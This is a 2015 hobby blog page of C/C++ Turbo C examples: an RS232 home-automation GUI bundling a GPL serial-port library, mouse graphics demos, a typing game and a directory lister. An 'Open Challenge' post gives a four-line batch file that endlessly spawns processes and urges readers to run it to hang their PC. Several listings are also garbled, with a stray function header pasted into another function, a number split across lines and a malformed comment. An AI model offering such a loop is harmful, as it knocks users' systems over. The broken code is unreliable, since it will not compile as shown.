Tuesday 27 October 2015

Hardware Interfacing through C using RS232 COM Port

Hardware Interfacing / Home Automation using C

  • I have implemented it using C Graphics and RS232 library files.
  • You can run this code in codeblock and can generate .exe file.
  • You need to use 8085 microcontroller to connect your electrical device
  • For further help mail me I will tell everything.
NOTE:
  • You need to enable Graphic.c in code blocks for that follow the link
#include <stdlib.h>
#include <stdio.h>

#ifdef _WIN32
#include <Windows.h>
#else
#include <unistd.h>
#endif

//#include "rs232.h"

#include<graphics.h>

#include<math.h>
#include<conio.h>
#include<iostream>
#include<dos.h>


void RS232_cputs(int comport_number, const char *text) ;

int RS232_OpenComport(int comport_number, int baudrate, const char *mode);
using namespace std;
void rectangled(int,int,int,int,int);
void border();
void setbkcolorr(int);
void header();
void on(int);
void off(int);
char throwchar();
void makearray();
int x=100,y=250,xx[8],yy[8],xxx=140,yyy=240,n[6];
int bkcolor=0,nrcolor=12,temp[8],cc=14,txc=8;


    int i=0,
      cport_nr=0,        // /dev/ttyS0 (COM1 on windows)
      bdrate=9600;       // 9600 baud

  char mode[]={'8','N','1',0},
       str[2][512];


int main()
{

int gd=0,gm=0;
initgraph(&gd,&gm,"c:\\tc\\bgi");
system("color fc");
settextstyle(1,0,6);
setcolor(nrcolor);
border();
setcolor(YELLOW);
outtextxy(100,50,"HOME AUTOMATION");
setcolor(RED);
int i;
for(i=0;i<6;i++)
{
xx[i] = x;
yy[i] = y;
x+=200;
}
//setbkcolorr(bkcolor);
for(i=0;i<6;i++)
{
        rectangled(xx[i],y,xx[i]+xxx,y+yyy,15);
}

//setbkcolorr(bkcolor);
settextstyle(0,0,4);
for(i=0;i<6;i++)
{
//outtextxy(xx[i]+50,500,"1");
        off(i);
}



setcolor(cc);
i=0;
rectangled(xx[i],y,xx[i]+xxx,y+yyy,15);


if(RS232_OpenComport(cport_nr, bdrate, mode))
    {
    printf("Can not open comport\n");
    getchar();
    return(0);
    }


while(1)
{
char ch;
ch = getch();
if(ch == 'd')
{
if(i==5)
continue;
setcolor(nrcolor);
rectangled(xx[i],y,xx[i]+xxx,y+yyy,15);
setcolor(cc);
i++;
rectangled(xx[i],y,xx[i]+xxx,y+yyy,15);
}
if(ch=='a')
{
if(i==0)
continue;
setcolor(nrcolor);
rectangled(xx[i],y,xx[i]+xxx,y+yyy,15);
setcolor(cc);
i--;
rectangled(xx[i],y,xx[i]+xxx,y+yyy,15);
}
if(ch==' ')
{
if((temp[i]%2)==1)
on(i);
else
off(i);
            makearray();
            throwchar();

        }

if(ch == 'c')
        {
            for(int i=0;i<6;i++)
                cout <<  " " << temp[i];
break;
        }
}
getch();
}
void rectangled(int x,int y,int xx,int yy,int d)
{
for(int i=0;i<=d;i++)
rectangle(x+i,y+i,xx-i,yy-i);
}
void border()
{
setcolor(2);
rectangled(0,0,1360,700,10);
rectangled(25,25,1335,675,10);
}
void off(int i)
{
temp[i]++;
setcolor(bkcolor);
settextstyle(1,0,6);
outtextxy(xx[i]+32,y+20,"O");
outtextxy(xx[i]+32,y+80,"N");
setcolor(txc);
outtextxy(xx[i]+32,y+20,"O");
outtextxy(xx[i]+32,y+80,"F");
outtextxy(xx[i]+32,y+156,"F");
}
void on(int i)
{
temp[i]++;
setcolor(bkcolor);
settextstyle(1,0,6);
outtextxy(xx[i]+32,y+20,"O");
outtextxy(xx[i]+32,y+80,"F");
outtextxy(xx[i]+32,y+156,"F");

{
setcolor(txc);
outtextxy(xx[i]+32,y+20,"O");
outtextxy(xx[i]+32,y+80,"N");
}
}
void makearray()
{
    for(int i=0;i<6;i++)
    {
        n[i] = (temp[i] - 1) % 2;
    }
    cout << endl;
    for(int i=0;i<6;i++)
        cout << " " << n[i];
}
char throwchar()
{
    int sum=0;
    char ch;
    for(int i=0;i<6;i++)
    {
        sum += n[i]*pow(2,(5-i));
    }

    ch = (char)sum + 48;
    cout << sum << " " << ch << endl;
    str[0][0] = ch;
    str[0][1] = '\0';
      cout << "sent: " << str[0];
    RS232_cputs(cport_nr, str[0]);
    cout << "sent: " << str[0];

    #ifdef _WIN32
        Sleep(1000);
    #else
        usleep(1000000);  // sleep for 1 Second
    #endif
    return ch;
}
/*void setbkcolorr(int c)
{
    setbkcolor(c);
    for(int i=0;i<8;i++)
    outtextxy(0,i*50,"                                ");

}*/







/*
***************************************************************************
*
* Author: Teunis van Beelen
*
* Copyright (C) 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Teunis van Beelen
*
* Email: teuniz@gmail.com
*
***************************************************************************
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
***************************************************************************
*
* This version of GPL is at http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*
***************************************************************************
*/

/* Last revision: January 10, 2015 */

/* For more info and how to use this library, visit: http://www.teuniz.net/RS-232/ */


//#include "rs232.h"



#if defined(__linux__) || defined(__FreeBSD__)   /* Linux & FreeBSD */


int Cport[38],
    error;

struct termios new_port_settings,
       old_port_settings[38];

char comports[38][16]={"/dev/ttyS0","/dev/ttyS1","/dev/ttyS2","/dev/ttyS3","/dev/ttyS4","/dev/ttyS5",
                       "/dev/ttyS6","/dev/ttyS7","/dev/ttyS8","/dev/ttyS9","/dev/ttyS10","/dev/ttyS11",
                       "/dev/ttyS12","/dev/ttyS13","/dev/ttyS14","/dev/ttyS15","/dev/ttyUSB0",
                       "/dev/ttyUSB1","/dev/ttyUSB2","/dev/ttyUSB3","/dev/ttyUSB4","/dev/ttyUSB5",
                       "/dev/ttyAMA0","/dev/ttyAMA1","/dev/ttyACM0","/dev/ttyACM1",
                       "/dev/rfcomm0","/dev/rfcomm1","/dev/ircomm0","/dev/ircomm1",
                       "/dev/cuau0","/dev/cuau1","/dev/cuau2","/dev/cuau3",
                       "/dev/cuaU0","/dev/cuaU1","/dev/cuaU2","/dev/cuaU3"};

int RS232_OpenComport(int comport_number, int baudrate, const char *mode)
{
  int baudr,
      status;

  if((comport_number>37)||(comport_number<0))
  {
    printf("illegal comport number\n");
    return(1);
  }

  switch(baudrate)
  {
    case      50 : baudr = B50;
                   break;
    case      75 : baudr = B75;
                   break;
    case     110 : baudr = B110;
                   break;
    case     134 : baudr = B134;
                   break;
    case     150 : baudr = B150;
                   break;
    case     200 : baudr = B200;
                   break;
    case     300 : baudr = B300;
                   break;
    case     600 : baudr = B600;
                   break;
    case    1200 : baudr = B1200;
                   break;
    case    1800 : baudr = B1800;
                   break;
    case    2400 : baudr = B2400;
                   break;
    case    4800 : baudr = B4800;
                   break;
    case    9600 : baudr = B9600;
                   break;
    case   19200 : baudr = B19200;
                   break;
    case   38400 : baudr = B38400;
                   break;
    case   57600 : baudr = B57600;
                   break;
    case  115200 : baudr = B115200;
                   break;
    case  230400 : baudr = B230400;
                   break;
    case  460800 : baudr = B460800;
                   break;
    case  500000 : baudr = B500000;
                   break;
    case  576000 : baudr = B576000;
                   break;
    case  921600 : baudr = B921600;
                   break;
    case 1000000 : baudr = B1000000;
                   break;
    case 1152000 : baudr = B1152000;
                   break;
    case 1500000 : baudr = B1500000;
                   break;
    case 2000000 : baudr = B2000000;
                   break;
    case 2500000 : baudr = B2500000;
                   break;
    case 3000000 : baudr = B3000000;
                   break;
    case 3500000 : baudr = B3500000;
                   break;
    case 4000000 : baudr = B4000000;
                   break;
    default      : printf("invalid baudrate\n");
                   return(1);
                   break;
  }

  int cbits=CS8,
      cpar=0,
      ipar=IGNPAR,
      bstop=0;

  if(strlen(mode) != 3)
  {
    printf("invalid mode \"%s\"\n", mode);
    return(1);
  }

  switch(mode[0])
  {
    case '8': cbits = CS8;
              break;
    case '7': cbits = CS7;
              break;
    case '6': cbits = CS6;
              break;
    case '5': cbits = CS5;
              break;
    default : printf("invalid number of data-bits '%c'\n", mode[0]);
              return(1);
              break;
  }

  switch(mode[1])
  {
    case 'N':
    case 'n': cpar = 0;
              ipar = IGNPAR;
              break;
    case 'E':
    case 'e': cpar = PARENB;
              ipar = INPCK;
              break;
    case 'O':
    case 'o': cpar = (PARENB | PARODD);
              ipar = INPCK;
              break;
    default : printf("invalid parity '%c'\n", mode[1]);
              return(1);
              break;
  }

  switch(mode[2])
  {
    case '1': bstop = 0;
              break;
    case '2': bstop = CSTOPB;
              break;
    default : printf("invalid number of stop bits '%c'\n", mode[2]);
              return(1);
              break;
  }

/*
http://pubs.opengroup.org/onlinepubs/7908799/xsh/termios.h.html

http://man7.org/linux/man-pages/man3/termios.3.html
*/

  Cport[comport_number] = open(comports[comport_number], O_RDWR | O_NOCTTY | O_NDELAY);
  if(Cport[comport_number]==-1)
  {
    perror("unable to open comport ");
    return(1);
  }

  error = tcgetattr(Cport[comport_number], old_port_settings + comport_number);
  if(error==-1)
  {
    close(Cport[comport_number]);
    perror("unable to read portsettings ");
    return(1);
  }
  memset(&new_port_settings, 0, sizeof(new_port_settings));  /* clear the new struct */

  new_port_settings.c_cflag = cbits | cpar | bstop | CLOCAL | CREAD;
  new_port_settings.c_iflag = ipar;
  new_port_settings.c_oflag = 0;
  new_port_settings.c_lflag = 0;
  new_port_settings.c_cc[VMIN] = 0;      /* block untill n bytes are received */
  new_port_settings.c_cc[VTIME] = 0;     /* block untill a timer expires (n * 100 mSec.) */

  cfsetispeed(&new_port_settings, baudr);
  cfsetospeed(&new_port_settings, baudr);

  error = tcsetattr(Cport[comport_number], TCSANOW, &new_port_settings);
  if(error==-1)
  {
    close(Cport[comport_number]);
    perror("unable to adjust portsettings ");
    return(1);
  }

  if(ioctl(Cport[comport_number], TIOCMGET, &status) == -1)
  {
    perror("unable to get portstatus");
    return(1);
  }

  status |= TIOCM_DTR;    /* turn on DTR */
  status |= TIOCM_RTS;    /* turn on RTS */

  if(ioctl(Cport[comport_number], TIOCMSET, &status) == -1)
  {
    perror("unable to set portstatus");
    return(1);
  }

  return(0);
}


int RS232_PollComport(int comport_number, unsigned char *buf, int size)
{
  int n;

  n = read(Cport[comport_number], buf, size);

  return(n);
}


int RS232_SendByte(int comport_number, unsigned char byte)
{
  int n;

  n = write(Cport[comport_number], &byte, 1);
  if(n<0)  return(1);

  return(0);
}


int RS232_SendBuf(int comport_number, unsigned char *buf, int size)
{
  return(write(Cport[comport_number], buf, size));
}


void RS232_CloseComport(int comport_number)
{
  int status;

  if(ioctl(Cport[comport_number], TIOCMGET, &status) == -1)
  {
    perror("unable to get portstatus");
  }

  status &= ~TIOCM_DTR;    /* turn off DTR */
  status &= ~TIOCM_RTS;    /* turn off RTS */

  if(ioctl(Cport[comport_number], TIOCMSET, &status) == -1)
  {
    perror("unable to set portstatus");
  }

  tcsetattr(Cport[comport_number], TCSANOW, old_port_settings + comport_number);
  close(Cport[comport_number]);
}

/*
Constant  Description
TIOCM_LE        DSR (data set ready/line enable)
TIOCM_DTR       DTR (data terminal ready)
TIOCM_RTS       RTS (request to send)
TIOCM_ST        Secondary TXD (transmit)
TIOCM_SR        Secondary RXD (receive)
TIOCM_CTS       CTS (clear to send)
TIOCM_CAR       DCD (data carrier detect)
TIOCM_CD        see TIOCM_CAR
TIOCM_RNG       RNG (ring)
TIOCM_RI        see TIOCM_RNG
TIOCM_DSR       DSR (data set ready)

http://man7.org/linux/man-pages/man4/tty_ioctl.4.html
*/

int RS232_IsDCDEnabled(int comport_number)
{
  int status;

  ioctl(Cport[comport_number], TIOCMGET, &status);

  if(status&TIOCM_CAR) return(1);
  else return(0);
}

int RS232_IsCTSEnabled(int comport_number)
{
  int status;

  ioctl(Cport[comport_number], TIOCMGET, &status);

  if(status&TIOCM_CTS) return(1);
  else return(0);
}

int RS232_IsDSREnabled(int comport_number)
{
  int status;

  ioctl(Cport[comport_number], TIOCMGET, &status);

  if(status&TIOCM_DSR) return(1);
  else return(0);
}

void RS232_enableDTR(int comport_number)
{
  int status;

  if(ioctl(Cport[comport_number], TIOCMGET, &status) == -1)
  {
    perror("unable to get portstatus");
  }

  status |= TIOCM_DTR;    /* turn on DTR */

  if(ioctl(Cport[comport_number], TIOCMSET, &status) == -1)
  {
    perror("unable to set portstatus");
  }
}

void RS232_disableDTR(int comport_number)
{
  int status;

  if(ioctl(Cport[comport_number], TIOCMGET, &status) == -1)
  {
    perror("unable to get portstatus");
  }

  status &= ~TIOCM_DTR;    /* turn off DTR */

  if(ioctl(Cport[comport_number], TIOCMSET, &status) == -1)
  {
    perror("unable to set portstatus");
  }
}

void RS232_enableRTS(int comport_number)
{
  int status;

  if(ioctl(Cport[comport_number], TIOCMGET, &status) == -1)
  {
    perror("unable to get portstatus");
  }

  status |= TIOCM_RTS;    /* turn on RTS */

  if(ioctl(Cport[comport_number], TIOCMSET, &status) == -1)
  {
    perror("unable to set portstatus");
  }
}

void RS232_disableRTS(int comport_number)
{
  int status;

  if(ioctl(Cport[comport_number], TIOCMGET, &status) == -1)
  {
    perror("unable to get portstatus");
  }

int RS232_OpenComport(int comport_number, int baudrate, const char *mode
  status &= ~TIOCM_RTS;    /* turn off RTS */

  if(ioctl(Cport[comport_number], TIOCMSET, &status) == -1)
  {
    perror("unable to set portstatus");
  }
}


#else         /* windows */


HANDLE Cport[16];


char comports[16][10]={"\\\\.\\COM1",  "\\\\.\\COM2",  "\\\\.\\COM3",  "\\\\.\\COM4",
                       "\\\\.\\COM5",  "\\\\.\\COM6",  "\\\\.\\COM7",  "\\\\.\\COM8",
                       "\\\\.\\COM9",  "\\\\.\\COM10", "\\\\.\\COM11", "\\\\.\\COM12",
                       "\\\\.\\COM13", "\\\\.\\COM14", "\\\\.\\COM15", "\\\\.\\COM16"};

char mode_str[128];


int RS232_OpenComport(int comport_number, int baudrate, const char *mode)
{
  if((comport_number>15)||(comport_number<0))
  {
    printf("illegal comport number\n");
    return(1);
  }

  switch(baudrate)
  {
    case     110 : strcpy(mode_str, "baud=110");
                   break;
    case     300 : strcpy(mode_str, "baud=300");
                   break;
    case     600 : strcpy(mode_str, "baud=600");
                   break;
    case    1200 : strcpy(mode_str, "baud=1200");
                   break;
    case    2400 : strcpy(mode_str, "baud=2400");
                   break;
    case    4800 : strcpy(mode_str, "baud=4800");
                   break;
    case    9600 : strcpy(mode_str, "baud=9600");
                   break;
    case   19200 : strcpy(mode_str, "baud=19200");
                   break;
    case   38400 : strcpy(mode_str, "baud=38400");
                   break;
    case   57600 : strcpy(mode_str, "baud=57600");
                   break;
    case  115200 : strcpy(mode_str, "baud=115200");
                   break;
    case  128000 : strcpy(mode_str, "baud=128000");
                   break;
    case  256000 : strcpy(mode_str, "baud=256000");
                   break;
    case  500000 : strcpy(mode_str, "baud=500000");
                   break;
    case 1000000 : strcpy(mode_str, "baud=1000000");
                   break;
    default      : printf("invalid baudrate\n");
                   return(1);
                   break;
  }

  if(strlen(mode) != 3)
  {
    printf("invalid mode \"%s\"\n", mode);
    return(1);
  }

  switch(mode[0])
  {
    case '8': strcat(mode_str, " data=8");
              break;
    case '7': strcat(mode_str, " data=7");
              break;
    case '6': strcat(mode_str, " data=6");
              break;
    case '5': strcat(mode_str, " data=5");
              break;
    default : printf("invalid number of data-bits '%c'\n", mode[0]);
              return(1);
              break;
  }

  switch(mode[1])
  {
    case 'N':
    case 'n': strcat(mode_str, " parity=n");
              break;
    case 'E':
    case 'e': strcat(mode_str, " parity=e");
              break;
    case 'O':
    case 'o': strcat(mode_str, " parity=o");
              break;
    default : printf("invalid parity '%c'\n", mode[1]);
              return(1);
              break;
  }

  switch(mode[2])
  {
    case '1': strcat(mode_str, " stop=1");
              break;
    case '2': strcat(mode_str, " stop=2");
              break;
    default : printf("invalid number of stop bits '%c'\n", mode[2]);
              return(1);
              break;
  }

  strcat(mode_str, " dtr=on rts=on");

/*
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363145%28v=vs.85%29.aspx

http://technet.microsoft.com/en-us/library/cc732236.aspx
*/

  Cport[comport_number] = CreateFileA(comports[comport_number],
                      GENERIC_READ|GENERIC_WRITE,
                      0,                          /* no share  */
                      NULL,                       /* no security */
                      OPEN_EXISTING,
                      0,                          /* no threads */
                      NULL);                      /* no templates */

  if(Cport[comport_number]==INVALID_HANDLE_VALUE)
  {
    printf("unable to open comport\n");
    return(1);
  }

  DCB port_settings;
  memset(&port_settings, 0, sizeof(port_settings));  /* clear the new struct  */
  port_settings.DCBlength = sizeof(port_settings);

  if(!BuildCommDCBA(mode_str, &port_settings))
  {
    printf("unable to set comport dcb settings\n");
    CloseHandle(Cport[comport_number]);
    return(1);
  }

  if(!SetCommState(Cport[comport_number], &port_settings))
  {
    printf("unable to set comport cfg settings\n");
    CloseHandle(Cport[comport_number]);
    return(1);
  }

  COMMTIMEOUTS Cptimeouts;

  Cptimeouts.ReadIntervalTimeout         = MAXDWORD;
  Cptimeouts.ReadTotalTimeoutMultiplier  = 0;
  Cptimeouts.ReadTotalTimeoutConstant    = 0;
  Cptimeouts.WriteTotalTimeoutMultiplier = 0;
  Cptimeouts.WriteTotalTimeoutConstant   = 0;

  if(!SetCommTimeouts(Cport[comport_number], &Cptimeouts))
  {
    printf("unable to set comport time-out settings\n");
    CloseHandle(Cport[comport_number]);
    return(1);
  }

  return(0);
}


int RS232_PollComport(int comport_number, unsigned char *buf, int size)
{
  int n;

/* added the void pointer cast, otherwise gcc will complain about */
/* "warning: dereferencing type-punned pointer will break strict aliasing rules" */

  ReadFile(Cport[comport_number], buf, size, (LPDWORD)((void *)&n), NULL);

  return(n);
}


int RS232_SendByte(int comport_number, unsigned char byte)
{
  int n;

  WriteFile(Cport[comport_number], &byte, 1, (LPDWORD)((void *)&n), NULL);

  if(n<0)  return(1);

  return(0);
}


int RS232_SendBuf(int comport_number, unsigned char *buf, int size)
{
  int n;

  if(WriteFile(Cport[comport_number], buf, size, (LPDWORD)((void *)&n), NULL))
  {
    return(n);
  }

  return(-1);
}


void RS232_CloseComport(int comport_number)
{
  CloseHandle(Cport[comport_number]);
}

/*
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363258%28v=vs.85%29.aspx
*/

int RS232_IsDCDEnabled(int comport_number)
{
  int status;

  GetCommModemStatus(Cport[comport_number], (LPDWORD)((void *)&status));

  if(status&MS_RLSD_ON) return(1);
  else return(0);
}


int RS232_IsCTSEnabled(int comport_number)
{
  int status;

  GetCommModemStatus(Cport[comport_number], (LPDWORD)((void *)&status));

  if(status&MS_CTS_ON) return(1);
  else return(0);
}


int RS232_IsDSREnabled(int comport_number)
{
  int status;

  GetCommModemStatus(Cport[comport_number], (LPDWORD)((void *)&status));

  if(status&MS_DSR_ON) return(1);
  else return(0);
}


void RS232_enableDTR(int comport_number)
{
  EscapeCommFunction(Cport[comport_number], SETDTR);
}


void RS232_disableDTR(int comport_number)
{
  EscapeCommFunction(Cport[comport_number], CLRDTR);
}


void RS232_enableRTS(int comport_number)
{
  EscapeCommFunction(Cport[comport_number], SETRTS);
}


void RS232_disableRTS(int comport_number)
{
  EscapeCommFunction(Cport[comport_number], CLRRTS);
}


#endif


void RS232_cputs(int comport_number, const char *text)  /* sends a string to serial port */
{
  while(*text != 0)   RS232_SendByte(comport_number, *(text++));
}


Look at this new,mouse programming example.

#include "c:\\turboc3\\bin\\mouse.h"
#include <stdlib.h>
#include<math.h>
#include <graphics.h>
#include <conio.h>
#include <stdio.h>
#include <string.h>
#include <iostream.h>
void main()
{
int gd=0,gm=0;
initgraph(&gd,&gm,"c:\\turboc3\\bgi");
char ch[50]= "Welcome  to World  of Books and Readers ";
char str[50][3];
int l;

border(6);
l = strlen(ch);
cout << l;
int i;
for(i=0;i<l;i++)
{
str[i][0] = ch[i];
str[i][1] = '\0';
}
float x,y;
int x1,y1,b;
i=0;
while(!kbhit())
{
i=l;
int temp;
if(b==0)
show_ptr(&temp,&temp,&b);
else
{
show_ptr(&x1,&y1,&b);
}

for(float k=0;k<180 ;k+=4.5)
{
setcolor(random(15));
x = 315+ x1*cos(k/180 * 3.14);
y = y1*sin(k/180 * 3.14);
i--;
settextstyle(0,0,2);
outtextxy(x,y,str[i]);
}
delay(100);
cleardevice();
border(6);


   }
   getch();
   cout << x1 << " " << y1;





getch();


}



OUTPUT:



CONTROL THIS CURVE FORMED BY TEXT ,BY DRAG AND DROP WITH MOUSE

Thursday 15 October 2015

This is another simple game using C/C++ graphics , Have a look

#include<stdio.h>
#include<conio.h>
#include<graphics.h>
#include<stdlib.h>
#include<dos.h>
void border();
void main()
{
int gd=0,gm=0,i,x,y,xt,k=1,s=1,cl;
char ch[100][2],c;
clrscr();
printf("\n\n\tThis is very simple game.");
printf("\n\tCreated By ---THE SMIT---");
printf("\n\tYou need to press key which falls");
printf("\n\t Case Sensitive");
printf("\n\n For exit press = p\n");
printf("Press any key to start");
getch();
clrscr();
initgraph(&gd,&gm,"c:\\turboc3\\bgi");
for(i=0;i<26;i++)
{
ch[i][0] =i + 65;
ch[i][1] = '\0';
}
border();
x=10;
y=12;
for(i=0;i<26;i++,x+=24)
{
settextstyle(0,0,2);
cl = random(15);
if(cl==0)
cl++;
setcolor(cl);
outtextxy(x,1
2,ch[i]);
}
S:
border();
xt = random(26);
x = 10 + (24 * xt);
for(y=12,i=0;y<470;y+=15,i++)
{
if(i%2==0)
{
cl = random(15);
if(cl==0);
cl++;
setcolor(cl);
settextstyle(0,0,2);
outtextxy(x,y,ch[xt]);
delay(50-(s/2));
setcolor(0);
outtextxy(x,y,ch[xt]);
border();
}
else
{
cl = random(15);
if(cl==0);
cl++;
setcolor(cl);
settextstyle(0,0,2);
outtextxy(x+5,y,ch[xt]);
delay(50-(s/2));
setcolor(0);
outtextxy(x+5,y,ch[xt]);
border();
}
if(kbhit())
{
c = getche();
if(c == ch[xt][0])
{
settextstyle(0,0,2);
cl = random(15);
if(cl==0)
cl++;
settextstyle(0,0,7);
setcolor(cl);
outtextxy(320,240,ch[xt]);
delay(500);
setcolor(0);
outtextxy(320,240,ch[xt]);
setcolor(cl);
settextstyle(0,0,2);
circle(260,240,120);
outtextxy(150,240,"Scored a point");
delay(500);
setcolor(0);
outtextxy(150,240,"Scored a point");
circle(260,240,120);
s+=8;
border();
goto S;
}
if(c == 'p')
goto Y;
}
settextstyle(0,0,2);
if(y>=410)
{
cl = random(15);
if(cl==0)
cl++;
setcolor(cl);
circle(260,240,120);
outtextxy(150,240,"Missed a point");
delay(500);
setcolor(0);
circle(260,240,120);
outtextxy(150,240,"Missed a point");
border();
k++;
if(k>5)
goto Y;
else
goto S;
}

delay(50);
}
Y:
closegraph()    ;
printf("\n\nYour Score = %d",s);
printf("\n\n\t\n\tThanx for playing...");
printf("\n\tHope you would have nice time");

getch();
 }

 void border()                             //border formation
{
int x,y,cl;
char ch[10]="smit ";
setcolor(1);
rectangle(0,0,639,479);
for(x=2,y=2;x<639;x+=40)
{
settextstyle(0,0,1);
cl = random(15);
if(cl == 0)
cl++;
setcolor(cl);
outtextxy(x,y,ch);
outtextxy(x,y+470,ch);
}
for(x=10,y=1;y<480;y+=40)
{
settextstyle(0,1,1);
cl = random(15);
if(cl == 0)
cl++;
setcolor(cl);
outtextxy(x,y,ch);
outtextxy(x+630,y,ch);
}
setcolor(random(15));
rectangle(10,10,630,470);
}








-When you score a point














-When you miss the point

Monday 12 October 2015

Open Challenge - You can't survive yout Pc from being Hanged by these 4 line Code.

1. Open Notepad.

2. Code:-

@echo off
:H
start /min 
goto H













3. Save file as challenge.cmd

4. Open(Run) the file

Mouse Programming wid Graphics in C - Example progam

#include<stdio.h>
#include<conio.h>
#include<math.h>
#include<dos.h>
#include<stdlib.h>
#include<iostream.h>
#include<graphics.h>
union REGS i,o;
void init();
void hide();
void show();
void show_ptr(int*,int*,int*);
void main()
{
int gd=0,gm=0,x,y,b,x1,y1;
initgraph(&gd,&gm,"c:\\"); \* Here set path of bgi(disk\turboc3\bgi) directory as per your System*/
circle(122,324,43);
init();
while(!kbhit())
{
show_ptr(&x,&y,&b);
circle(x,y,30);
setcolor(random(15));
cout <<  endl;
while(b==1)
{
show_ptr(&x1,&y1,&b);
circle(x,y,abs(x-x1));
delay(150);

}

}

getch();
}
void init()
{
i.x.ax = 0;
int86(0x33,&i,&o);
}
void show()
{
i.x.ax = 1;
int86(0x33,&i,&o);
}
void hide()
{
i.x.ax = 2;
int86(0x33,&i,&o);
}
void show_ptr(int *x,int *y,int *b)
{
i.x.ax = 3;
int86(0x33,&i,&o);
*x = o.x.cx;
*y = o.x.dx;
*b = o.x.bx;
delay(20);


}



OUTPUT :-

How to access all Hidden Files and Folder Through C++?

  • Open Turbo C / Codeblock or any other platform that You are Using.



#include<iostream.h>
#include<dos.h>
#include<conio.h>
#include<dir.h>
#include<dirent.h>
int main()
{
DIR *d;
dirent *dir;
clrscr();
d = opendir("C:\\turboc3");  // Assigning Path to DIR variable
while(1)
{
dir = readdir(d); // Assigning to dirent Variable
if(dir==0)
break;
cout << dir->d_name << endl;
}
getch();
}





How to install google-chrome in redhat without redhat subscription

Install google-chrome in redhat  Download the .rpm file of chrome https://www.google.com/chrome/thank-you.html?installdataindex=empty&st...